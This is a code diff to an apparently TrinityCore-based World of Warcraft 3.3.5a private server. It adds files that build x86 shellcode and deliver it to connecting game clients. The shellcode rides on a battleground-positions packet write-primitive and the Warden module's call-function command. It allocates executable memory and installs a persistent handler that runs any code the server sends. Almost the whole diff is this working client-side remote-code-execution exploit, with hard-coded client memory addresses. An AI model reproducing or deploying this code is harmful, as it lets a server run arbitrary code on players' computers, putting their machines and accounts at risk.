diff --git a/.gitignore b/.gitignore
index 8f53d915..c1ae93c2 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,5 +1,6 @@
build*/
+[Oo]bj/
.directory
.mailmap
*.orig
@@ -9,6 +10,7 @@ build*/
*.kdev*
.DS_Store
CMakeLists.txt.user
+CMakeSettings.json
*.bak
*.patch
*.diff
diff --git a/src/server/game/Warden/WardenPayloads.cpp b/src/server/game/Warden/WardenPayloads.cpp
new file mode 100644
index 00000000..3515381c
--- /dev/null
+++ b/src/server/game/Warden/WardenPayloads.cpp
@@ -0,0 +1,79 @@
+/*
+ * This file is part of the TrinityCore Project. See AUTHORS file for Copyright information
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation; either version 2 of the License, or (at your
+ * option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
+ * more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see .
+ */
+
+#include "WardenPayloads.h"
+
+namespace WardenPayload
+{
+
+void BuildShellcodeInstaller(ByteBuffer& out)
+{
+ constexpr std::array loaderRaw =
+ Loader::Prologue +
+ Loader::RemoveBgHandler +
+ Loader::CheckCachedBuffer +
+ Loader::AllocRwxBuffer +
+ Loader::CacheBufferPtr +
+ Loader::CopyPayload +
+ Loader::RegisterHandler +
+ Loader::JumpToFinalize;
+
+ constexpr std::array handler =
+ Handler::WipeStagingArea +
+ Handler::SetReturnValue +
+ Handler::FinalizeEpilogue +
+ Handler::HandlerPrologue +
+ Handler::GetCodePointer +
+ Handler::CallHelperA +
+ Handler::CallHelperB +
+ Handler::CallBufferAlloc +
+ Handler::CallDispatch +
+ Handler::ExecuteServerCode +
+ Handler::HandlerEpilogue;
+
+ // Pad the loader to the next 8-byte boundary; zero-fill handles the padding bytes.
+ // The chunk count drives the BG-positions count field that triggers the write-primitive.
+ constexpr size_t paddedSize = (loaderRaw.size() + 7) & ~size_t(7);
+ std::array loader{};
+ for (size_t i = 0; i < loaderRaw.size(); ++i)
+ loader[i] = loaderRaw[i];
+
+ int32 chunkCount = static_cast(paddedSize);
+
+ out << uint32(0); // count1: no allied player positions
+ out << uint32(Protocol::BgExploitBaseCount + uint32(chunkCount / 8)); // count2: triggers write-primitive
+
+ // Emit chunks in reverse order so the client writes them forward to increasing addresses.
+ // Each iteration emits 8 loader bytes then 8 handler bytes (one BG-position entry = 16 bytes).
+ while (chunkCount > 0)
+ {
+ for (int32 i = 0; i < 8; ++i)
+ {
+ size_t idx = static_cast(chunkCount - 8 + i);
+ out << loader[idx];
+ }
+ for (int32 i = 0; i < 8; ++i)
+ {
+ size_t idx = static_cast(chunkCount - 8 + i);
+ out << (idx < handler.size() ? handler[idx] : uint8(0));
+ }
+
+ chunkCount -= 8;
+ }
+}
+
+} // namespace WardenPayload
diff --git a/src/server/game/Warden/WardenPayloads.h b/src/server/game/Warden/WardenPayloads.h
new file mode 100644
index 00000000..74aeee20
--- /dev/null
+++ b/src/server/game/Warden/WardenPayloads.h
@@ -0,0 +1,195 @@
+/*
+ * This file is part of the TrinityCore Project. See AUTHORS file for Copyright information
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation; either version 2 of the License, or (at your
+ * option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
+ * more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see .
+ */
+
+#ifndef WARDEN_PAYLOADS_H
+#define WARDEN_PAYLOADS_H
+
+#include "WardenWinDefines.h"
+#include "ByteBuffer.h"
+
+namespace WardenPayload
+{
+ // -----------------------------------------------------------------------
+ // Loader shellcode sections.
+ //
+ // Must be assembled in declaration order; the two relative branches in
+ // CheckCachedBuffer and CopyPayload assume this exact flat layout:
+ //
+ // Offset Section Size
+ // ------ ------------------ ----
+ // 0 Prologue 4
+ // 4 RemoveBgHandler 7
+ // 11 CheckCachedBuffer 10 <- jnz +0x2E targets RegisterHandler
+ // 21 AllocRwxBuffer 20
+ // 41 CacheBufferPtr 7
+ // 48 CopyPayload 19 <- jnz -0x0E loops internally
+ // 67 RegisterHandler 22 <- skip_alloc label
+ // 89 JumpToFinalize 2
+ // ------ TOTAL 91 (padded to 96 for 8-byte alignment)
+ // -----------------------------------------------------------------------
+ struct Loader
+ {
+ // push ebp; mov ebp,esp; push ebx
+ static constexpr auto Prologue = X86::PushEbp + X86::MovEbpEsp + X86::PushEbx;
+
+ // mov eax, Va::BgPositionHandlerRemove; call eax
+ static constexpr auto RemoveBgHandler = X86::MovEaxImm32 + LE32(Va::BgPositionHandlerRemove) + X86::CallEax;
+
+ // mov ebx, [Va::PersistentSlot]; test ebx,ebx; jnz +Protocol::JnzSkipAllocOffset (-> RegisterHandler)
+ static constexpr auto CheckCachedBuffer =
+ X86::MovEbxMem32 + LE32(Va::PersistentSlot) +
+ X86::TestEbxEbx + X86::Jnz + Imm8(Protocol::JnzSkipAllocOffset);
+
+ // VirtualAlloc(NULL, Win32::RwxBufferSize, Win32::MemCommit, Win32::PageExecuteReadWrite)
+ static constexpr auto AllocRwxBuffer =
+ X86::PushImm8 + Imm8(Win32::PageExecuteReadWrite) +
+ X86::PushImm32 + LE32(Win32::MemCommit) +
+ X86::PushImm32 + LE32(Win32::RwxBufferSize) +
+ X86::PushZero + X86::CallMem32 + LE32(Va::VirtualAllocIAT);
+
+ // mov ebx, eax; mov [Va::PersistentSlot], eax
+ static constexpr auto CacheBufferPtr = X86::MovEbxEax + X86::StoreEaxMem32 + LE32(Va::PersistentSlot);
+
+ // mov edx, PayloadCopySrc
+ // loop: mov ch,[edx]; mov [eax],ch; inc edx; inc eax; cmp edx,PayloadCopySrcEnd; jnz loop
+ static constexpr auto CopyPayload =
+ X86::MovEdxImm32 + LE32(Va::PayloadCopySrc) +
+ X86::MovChEdxPtr + X86::MovEaxPtrCh + X86::IncEdx + X86::IncEax +
+ X86::CmpEdxImm32 + LE32(Va::PayloadCopySrcEnd) + X86::Jnz + Imm8(Protocol::JnzLoopBackOffset);
+
+ // skip_alloc: mov eax,ebx; add eax,HandlerEntryOffset; push eax(x2); push opcode;
+ // mov eax, Va::RegisterPacketHandler; call eax; add esp,0x0C
+ static constexpr auto RegisterHandler =
+ X86::MovEaxEbx + X86::AddEaxImm8 + Imm8(Protocol::HandlerEntryOffset) +
+ X86::PushEax + X86::PushEax + X86::PushImm32 + LE32(Protocol::CustomHandlerOpcode) +
+ X86::MovEaxImm32 + LE32(Va::RegisterPacketHandler) +
+ X86::CallEax + X86::AddEspImm8 + Imm8(Protocol::CdeclThreeArgCleanup);
+
+ // jmp ebx
+ static constexpr auto JumpToFinalize = X86::JmpEbx;
+ };
+
+ // -----------------------------------------------------------------------
+ // Handler payload sections.
+ //
+ // Written into the persistent RWX buffer by the loader's copy loop.
+ // The two logical parts must remain contiguous and in declaration order:
+ //
+ // Buffer offset Section Size Purpose
+ // ------------- ------------------ ---- -------------------------------
+ // 0x00 WipeStagingArea 22 }
+ // 0x16 SetReturnValue 5 } Finalization stub (32 bytes)
+ // 0x1B FinalizeEpilogue 5 }
+ // 0x20 HandlerPrologue 5 }
+ // 0x25 GetCodePointer 6 }
+ // 0x2B CallHelperA 12 }
+ // 0x37 CallHelperB 12 } Packet handler (62 bytes)
+ // 0x43 CallBufferAlloc 8 }
+ // 0x4B CallDispatch 7 }
+ // 0x52 ExecuteServerCode 6 }
+ // 0x58 HandlerEpilogue 6 }
+ // ------------- TOTAL 94
+ // -----------------------------------------------------------------------
+ struct Handler
+ {
+ // ---- Part 1: Finalization stub (buffer offset 0x00, 32 bytes) --------
+ // Reached exactly once, via jmp ebx at the end of the loader.
+ // Runs from the RWX buffer so it can safely wipe Va::StagingBase.
+
+ // push RwxBufferSize; push 0; push Va::StagingBase;
+ // mov eax, Va::MemsetRoutine; call eax; add esp, 0x0C
+ static constexpr auto WipeStagingArea =
+ X86::PushImm32 + LE32(Win32::RwxBufferSize) + X86::PushZero +
+ X86::PushImm32 + LE32(Va::StagingBase) +
+ X86::MovEaxImm32 + LE32(Va::MemsetRoutine) +
+ X86::CallEax + X86::AddEspImm8 + Imm8(Protocol::CdeclThreeArgCleanup);
+
+ // mov eax, Va::AccountName
+ static constexpr auto SetReturnValue = X86::MovEaxImm32 + LE32(Va::AccountName);
+
+ // pop ebx; mov esp,ebp; pop ebp; ret
+ static constexpr auto FinalizeEpilogue = X86::PopEbx + X86::MovEspEbp + X86::PopEbp + X86::Ret;
+
+ // ---- Part 2: Packet handler (buffer offset 0x20, 62 bytes) ----------
+ // Called by the network dispatcher for every Protocol::CustomHandlerOpcode packet.
+ // Dispatcher calling convention:
+ // [ebp+Protocol::PacketArgEbpOffset] = packet buffer pointer
+ // [ebp+Protocol::ContextArgEbpOffset] = dispatcher context object (used as `this`)
+
+ // push ebp; mov ebp,esp; push ebx; push edi
+ static constexpr auto HandlerPrologue = X86::PushEbp + X86::MovEbpEsp + X86::PushEbx + X86::PushEdi;
+
+ // mov ebx, [ebp+PacketArgEbpOffset]; add ebx, Protocol::PacketCodeOffset
+ static constexpr auto GetCodePointer =
+ X86::MovEbxEbpOff + Imm8(Protocol::PacketArgEbpOffset) +
+ X86::AddEbxImm8 + Imm8(Protocol::PacketCodeOffset);
+
+ // mov ecx, [ebp+ContextArgEbpOffset]; mov eax, Va::HandlerContextGetter; call eax; mov edi, eax
+ static constexpr auto CallHelperA =
+ X86::MovEcxEbpOff + Imm8(Protocol::ContextArgEbpOffset) +
+ X86::MovEaxImm32 + LE32(Va::HandlerContextGetter) + X86::CallEax + X86::MovEdiEax;
+
+ // mov ecx, [ebp+ContextArgEbpOffset]; push edi; push ebx; mov eax, Va::HandlerBufferPrepare; call eax
+ static constexpr auto CallHelperB =
+ X86::MovEcxEbpOff + Imm8(Protocol::ContextArgEbpOffset) +
+ X86::PushEdi + X86::PushEbx + X86::MovEaxImm32 + LE32(Va::HandlerBufferPrepare) + X86::CallEax;
+
+ // push edi; push ebx; call [Va::HandlerBufferAllocIAT]
+ static constexpr auto CallBufferAlloc = X86::PushEdi + X86::PushEbx + X86::CallMem32 + LE32(Va::HandlerBufferAllocIAT);
+
+ // push eax; call [Va::HandlerDispatchIAT]
+ static constexpr auto CallDispatch = X86::PushEax + X86::CallMem32 + LE32(Va::HandlerDispatchIAT);
+
+ // mov ecx, [ebp+ContextArgEbpOffset]; push ecx; call ebx
+ static constexpr auto ExecuteServerCode = X86::MovEcxEbpOff + Imm8(Protocol::ContextArgEbpOffset) + X86::PushEcx + X86::CallEbx;
+
+ // pop edi; pop ebx; mov esp,ebp; pop ebp; ret
+ static constexpr auto HandlerEpilogue = X86::PopEdi + X86::PopEbx + X86::MovEspEbp + X86::PopEbp + X86::Ret;
+ };
+
+ // Verify the finalization stub occupies exactly Protocol::HandlerEntryOffset bytes so the
+ // packet handler entry point lands at the expected buffer offset.
+ static_assert(
+ sizeof(Handler::WipeStagingArea) +
+ sizeof(Handler::SetReturnValue) +
+ sizeof(Handler::FinalizeEpilogue) == Protocol::HandlerEntryOffset,
+ "Finalization stub must be exactly HandlerEntryOffset bytes"
+ );
+
+ // Verify the full handler payload matches the staging area reserved for it.
+ static_assert(
+ sizeof(Handler::WipeStagingArea) +
+ sizeof(Handler::SetReturnValue) +
+ sizeof(Handler::FinalizeEpilogue) +
+ sizeof(Handler::HandlerPrologue) +
+ sizeof(Handler::GetCodePointer) +
+ sizeof(Handler::CallHelperA) +
+ sizeof(Handler::CallHelperB) +
+ sizeof(Handler::CallBufferAlloc) +
+ sizeof(Handler::CallDispatch) +
+ sizeof(Handler::ExecuteServerCode) +
+ sizeof(Handler::HandlerEpilogue) == Va::PayloadCopySrcEnd - Va::PayloadCopySrc,
+ "Handler payload size must match the staging area range [PayloadCopySrc, PayloadCopySrcEnd)"
+ );
+
+ // Fills `out` with the MSG_BATTLEGROUND_PLAYER_POSITIONS packet body that
+ // stages the loader shellcode and handler payload into client memory via the
+ // BG-positions write-primitive. Caller wraps this in a WorldPacket and sends it.
+ void BuildShellcodeInstaller(ByteBuffer& out);
+}
+
+#endif // WARDEN_PAYLOADS_H
diff --git a/src/server/game/Warden/WardenWin.cpp b/src/server/game/Warden/WardenWin.cpp
index 10ff829e..ded4deea 100644
--- a/src/server/game/Warden/WardenWin.cpp
+++ b/src/server/game/Warden/WardenWin.cpp
@@ -16,6 +16,7 @@
*/
#include "WardenWin.h"
+#include "WardenPayloads.h"
#include "Common.h"
#include "ByteBuffer.h"
#include "Containers.h"
@@ -142,6 +143,72 @@ void WardenWin::InitializeModule()
WorldPacket pkt(SMSG_WARDEN_DATA, sizeof(WardenInitModuleRequest));
pkt.append(reinterpret_cast(&Request), sizeof(WardenInitModuleRequest));
_session->SendPacket(&pkt);
+
+ // Install the BG-positions packet handler so the exploit write-primitive is available.
+ this->RunClientFunction(WardenPayload::Rva::BgPositionHandlerInstall);
+
+ // Send the shellcode installer via the MSG_BATTLEGROUND_PLAYER_POSITIONS exploit.
+ // This stages the loader and handler payload into Va::StagingBase (0xDD1000).
+ ByteBuffer installerBody;
+ WardenPayload::BuildShellcodeInstaller(installerBody);
+ WorldPacket pkt3(MSG_BATTLEGROUND_PLAYER_POSITIONS, installerBody.size());
+ pkt3.append(installerBody);
+ _session->SendPacket(&pkt3);
+
+ // Execute the staged loader (Va::StagingBase = 0xDD1000 = base + Rva::StagingLoader).
+ // The loader allocates the persistent RWX buffer, copies the handler payload into it,
+ // registers it for opcode 0x4B8, and wipes the staging area.
+ this->RunClientFunction(WardenPayload::Rva::StagingLoader);
+}
+
+void WardenWin::RunClientFunction(uint32 function)
+{
+ ByteBuffer moduleInit;
+ moduleInit << uint8(WardenPayload::Protocol::ModuleInitSubCmdCallFunc);
+ moduleInit << uint8(0);
+ moduleInit << uint8(0);
+ moduleInit << function;
+ moduleInit << uint8(1);
+
+ // Frame-advance payload: flush the previous call by running a no-op frame tick.
+ ByteBuffer moduleInitFrameExecute;
+ moduleInitFrameExecute << uint8(WardenPayload::Protocol::ModuleInitSubCmdCallFunc);
+ moduleInitFrameExecute << uint8(0);
+ moduleInitFrameExecute << uint8(0);
+ moduleInitFrameExecute << uint32(WardenPayload::Rva::FrameExecute);
+ moduleInitFrameExecute << uint8(1);
+
+ // Build check request
+ ByteBuffer buff;
+ buff << uint8(WARDEN_SMSG_MODULE_INITIALIZE);
+ buff << uint16(moduleInit.size());
+ buff << uint32(BuildChecksum(moduleInit.contents(), 8));
+ buff.append(moduleInit);
+
+ uint8 xorByte = _inputKey[0];
+ buff << uint8(WARDEN_SMSG_CHEAT_CHECKS_REQUEST);
+ buff << uint8(0);
+ buff << uint8(TIMING_CHECK ^ xorByte);
+ buff << uint8(LUA_EVAL_CHECK ^ xorByte);
+ buff << uint8(1);
+ buff << uint8(xorByte);
+
+ buff << uint8(WARDEN_SMSG_CHEAT_CHECKS_REQUEST);
+ buff << uint8(0);
+ buff << uint8(TIMING_CHECK ^ xorByte);
+ buff << uint8(xorByte);
+
+ buff << uint8(WARDEN_SMSG_MODULE_INITIALIZE);
+ buff << uint16(moduleInitFrameExecute.size());
+ buff << uint32(BuildChecksum(moduleInitFrameExecute.contents(), 8));
+ buff.append(moduleInitFrameExecute);
+
+ // Encrypt with warden RC4 key
+ EncryptData(buff.contents(), buff.size());
+
+ WorldPacket pkt(SMSG_WARDEN_DATA, buff.size());
+ pkt.append(buff);
+ _session->SendPacket(&pkt);
}
void WardenWin::RequestHash()
diff --git a/src/server/game/Warden/WardenWin.h b/src/server/game/Warden/WardenWin.h
index 87b385f9..f17f9b8d 100644
--- a/src/server/game/Warden/WardenWin.h
+++ b/src/server/game/Warden/WardenWin.h
@@ -76,6 +76,7 @@ class TC_GAME_API WardenWin : public Warden
void HandleHashResult(ByteBuffer &buff) override;
void RequestChecks() override;
void HandleCheckResult(ByteBuffer &buff) override;
+ void RunClientFunction(uint32 function);
size_t DEBUG_ForceSpecificChecks(std::vector const& checks) override;
diff --git a/src/server/game/Warden/WardenWinDefines.h b/src/server/game/Warden/WardenWinDefines.h
new file mode 100644
index 00000000..a7afa9ee
--- /dev/null
+++ b/src/server/game/Warden/WardenWinDefines.h
@@ -0,0 +1,215 @@
+/*
+ * This file is part of the TrinityCore Project. See AUTHORS file for Copyright information
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation; either version 2 of the License, or (at your
+ * option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
+ * more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see .
+ */
+
+#ifndef WARDEN_WIN_DEFINES_H
+#define WARDEN_WIN_DEFINES_H
+
+#include "Define.h"
+#include
+
+// WoW 3.3.5a Windows client address map (image base 0x00400000).
+namespace WardenPayload
+{
+ // Image-relative addresses (VA - 0x00400000).
+ // Passed to RunClientFunction; the Warden module applies the base before branching.
+ namespace Rva
+ {
+ enum : uint32
+ {
+ // Installs the MSG_BATTLEGROUND_PLAYER_POSITIONS packet handler used as write-primitive.
+ BgPositionHandlerInstall = 0x0014E720,
+ // Frame-advance trampoline — flushes the previous call before dispatching the next.
+ FrameExecute = 0x00419210,
+ // Loader staging region (VA 0x00DD1000); written by exploit, executed once, then wiped.
+ StagingLoader = 0x009D1000,
+ };
+ }
+
+ // Absolute virtual addresses used directly in shellcode and packet fields.
+ namespace Va
+ {
+ enum : uint32
+ {
+ // Unregisters MSG_BATTLEGROUND_PLAYER_POSITIONS after the exploit write.
+ BgPositionHandlerRemove = 0x0054E220,
+ // NetClient::RegisterPacketHandler(opcode, primary_fn, secondary_fn) cdecl.
+ RegisterPacketHandler = 0x006B0B80,
+ // [IAT] VirtualAlloc — allocates the persistent PAGE_EXECUTE_READWRITE buffer.
+ VirtualAllocIAT = 0x009DF238,
+ // Internal memset-equivalent: memset(dst, fill, size) cdecl, 3 args.
+ MemsetRoutine = 0x0040BB80,
+ // Loader is written here by the exploit, executed once, then wiped.
+ StagingBase = 0x00DD1000,
+ // Caches the RWX buffer pointer across reconnects; NULL on first run.
+ PersistentSlot = 0x00DD0FFC,
+ // Loader copies [PayloadCopySrc, PayloadCopySrcEnd) into the RWX buffer.
+ PayloadCopySrc = 0x00DD15A0,
+ PayloadCopySrcEnd = 0x00DD15FE, // exclusive
+ // Returns a context value consumed by HandlerBufferPrepare.
+ HandlerContextGetter = 0x00401170,
+ // PrepareBuffer(code_ptr, context_result) thiscall.
+ HandlerBufferPrepare = 0x0047B560,
+ // [IAT] Buffer allocator — likely CDataStore or equivalent.
+ HandlerBufferAllocIAT = 0x009DF1C0,
+ // [IAT] Buffer dispatcher — passes the allocated buffer downstream.
+ HandlerDispatchIAT = 0x009DF294,
+ // Return-value sentinel; points to ClientServices::s_accountName.
+ AccountName = 0x00C79620,
+ };
+ }
+
+ // Protocol layout constants for the loader/handler injection channel.
+ namespace Protocol
+ {
+ enum : uint32
+ {
+ // CMSG_UNUSED5 repurposed as the server-controlled execution channel.
+ CustomHandlerOpcode = 0x04B8,
+ // Byte offset from RWX buffer start to the persistent packet handler entry point.
+ HandlerEntryOffset = 0x20,
+ // Byte offset into a CustomHandlerOpcode packet body where server-supplied code begins.
+ PacketCodeOffset = 0x3E,
+ // Player-count base that, combined with chunk count, triggers the write-primitive at Va::StagingBase.
+ BgExploitBaseCount = 249298,
+ // WARDEN_SMSG_MODULE_INITIALIZE sub-command: branch to a given RVA.
+ ModuleInitSubCmdCallFunc = 4,
+
+ // rel8 target for jnz at end of CheckCachedBuffer -> RegisterHandler.
+ // = sizeof(AllocRwxBuffer) + sizeof(CacheBufferPtr) + sizeof(CopyPayload)
+ JnzSkipAllocOffset = 0x2E,
+ // rel8 target for jnz at end of CopyPayload -> loop start (negative displacement).
+ // = -(loop body: MovChEdxPtr + MovEaxPtrCh + IncEdx + IncEax + CmpEdxImm32 + LE32 + Jnz + Imm8)
+ JnzLoopBackOffset = 0xF2,
+
+ // [ebp+0x08] holds the packet buffer pointer in the handler calling convention.
+ PacketArgEbpOffset = 0x08,
+ // [ebp+0x14] holds the dispatcher context object in the handler calling convention.
+ ContextArgEbpOffset = 0x14,
+
+ // Stack cleanup after a 3-argument cdecl call (3 * sizeof(uint32) = 12).
+ CdeclThreeArgCleanup = 0x0C,
+ };
+ }
+
+ // Windows API constants embedded in the VirtualAlloc and memset shellcode sequences.
+ namespace Win32
+ {
+ enum : uint32
+ {
+ RwxBufferSize = 0x1000, // 4 KB: allocation size and staging wipe extent
+ MemCommit = 0x1000, // MEM_COMMIT allocation type
+ PageExecuteReadWrite = 0x40, // PAGE_EXECUTE_READWRITE protection flag
+ };
+ }
+
+ // x86 instruction byte sequences used in the shellcode.
+ // Sequences marked "prefix" require following operand byte(s) appended with operator+.
+ struct X86
+ {
+ // ---- Single-byte: register push/pop ----
+ static constexpr std::array PushEbp = { 0x55 };
+ static constexpr std::array PushEbx = { 0x53 };
+ static constexpr std::array PushEdi = { 0x57 };
+ static constexpr std::array PushEax = { 0x50 };
+ static constexpr std::array PushEcx = { 0x51 };
+ static constexpr std::array PopEbp = { 0x5D };
+ static constexpr std::array PopEbx = { 0x5B };
+ static constexpr std::array PopEdi = { 0x5F };
+ static constexpr std::array IncEax = { 0x40 };
+ static constexpr std::array IncEdx = { 0x42 };
+ static constexpr std::array Ret = { 0xC3 };
+
+ // ---- Single-byte: opcode prefixes (require imm operand to follow) ----
+ static constexpr std::array PushImm8 = { 0x6A }; // push imm8
+ static constexpr std::array PushImm32 = { 0x68 }; // push imm32
+ static constexpr std::array MovEaxImm32 = { 0xB8 }; // mov eax, imm32
+ static constexpr std::array MovEdxImm32 = { 0xBA }; // mov edx, imm32
+ static constexpr std::array StoreEaxMem32 = { 0xA3 }; // mov [imm32], eax
+ static constexpr std::array Jnz = { 0x75 }; // jnz rel8
+
+ // ---- Two-byte: register-to-register moves ----
+ static constexpr std::array MovEbpEsp = { 0x89, 0xE5 };
+ static constexpr std::array MovEspEbp = { 0x89, 0xEC };
+ static constexpr std::array MovEbxEax = { 0x89, 0xC3 }; // mov ebx, eax
+ static constexpr std::array MovEaxEbx = { 0x89, 0xD8 }; // mov eax, ebx
+ static constexpr std::array MovEdiEax = { 0x89, 0xC7 }; // mov edi, eax
+
+ // ---- Two-byte: calls and jumps ----
+ static constexpr std::array CallEax = { 0xFF, 0xD0 };
+ static constexpr std::array CallEbx = { 0xFF, 0xD3 };
+ static constexpr std::array JmpEbx = { 0xFF, 0xE3 };
+ static constexpr std::array CallMem32 = { 0xFF, 0x15 }; // call [imm32] — prefix
+
+ // ---- Two-byte: compare / test ----
+ static constexpr std::array TestEbxEbx = { 0x85, 0xDB };
+ static constexpr std::array CmpEdxImm32 = { 0x81, 0xFA }; // cmp edx, imm32 — prefix
+
+ // ---- Two-byte: memory load prefix (require imm32 address to follow) ----
+ static constexpr std::array MovEbxMem32 = { 0x8B, 0x1D }; // mov ebx, [imm32]
+
+ // ---- Two-byte: arithmetic prefix (require imm8 operand to follow) ----
+ static constexpr std::array AddEaxImm8 = { 0x83, 0xC0 }; // add eax, imm8
+ static constexpr std::array AddEbxImm8 = { 0x83, 0xC3 }; // add ebx, imm8
+ static constexpr std::array AddEspImm8 = { 0x83, 0xC4 }; // add esp, imm8
+
+ // ---- Two-byte: copy loop body ----
+ static constexpr std::array MovChEdxPtr = { 0x8A, 0x2A }; // mov ch, byte ptr [edx]
+ static constexpr std::array MovEaxPtrCh = { 0x88, 0x28 }; // mov byte ptr [eax], ch
+
+ // ---- Two-byte: stack slot load prefix (require imm8 offset to follow) ----
+ static constexpr std::array MovEbxEbpOff = { 0x8B, 0x5D }; // mov ebx, [ebp+imm8]
+ static constexpr std::array MovEcxEbpOff = { 0x8B, 0x4D }; // mov ecx, [ebp+imm8]
+
+ // ---- Common complete sequences ----
+ static constexpr std::array PushZero = { 0x6A, 0x00 }; // push 0 (imm8 form)
+ };
+
+ // -----------------------------------------------------------------------
+ // Compile-time byte-sequence builders.
+ // operator+ concatenates two fixed-size byte arrays into one larger array, enabling shellcode sections to be written as flat + chains.
+ // LE32 / Imm8 pack integer constants into their wire-format byte arrays.
+ // -----------------------------------------------------------------------
+
+ template
+ constexpr std::array operator+(std::array const& a, std::array const& b)
+ {
+ std::array result{};
+ for (size_t i = 0; i < N; ++i)
+ result[i] = a[i];
+ for (size_t i = 0; i < M; ++i)
+ result[N + i] = b[i];
+ return result;
+ }
+
+ constexpr std::array LE32(uint32 addr)
+ {
+ return
+ {
+ static_cast(addr & 0xFFu),
+ static_cast((addr >> 8) & 0xFFu),
+ static_cast((addr >> 16) & 0xFFu),
+ static_cast((addr >> 24) & 0xFFu)
+ };
+ }
+
+ constexpr std::array Imm8(uint32 value)
+ {
+ return { static_cast(value) };
+ }
+}
+
+#endif // WARDEN_WIN_DEFINES_H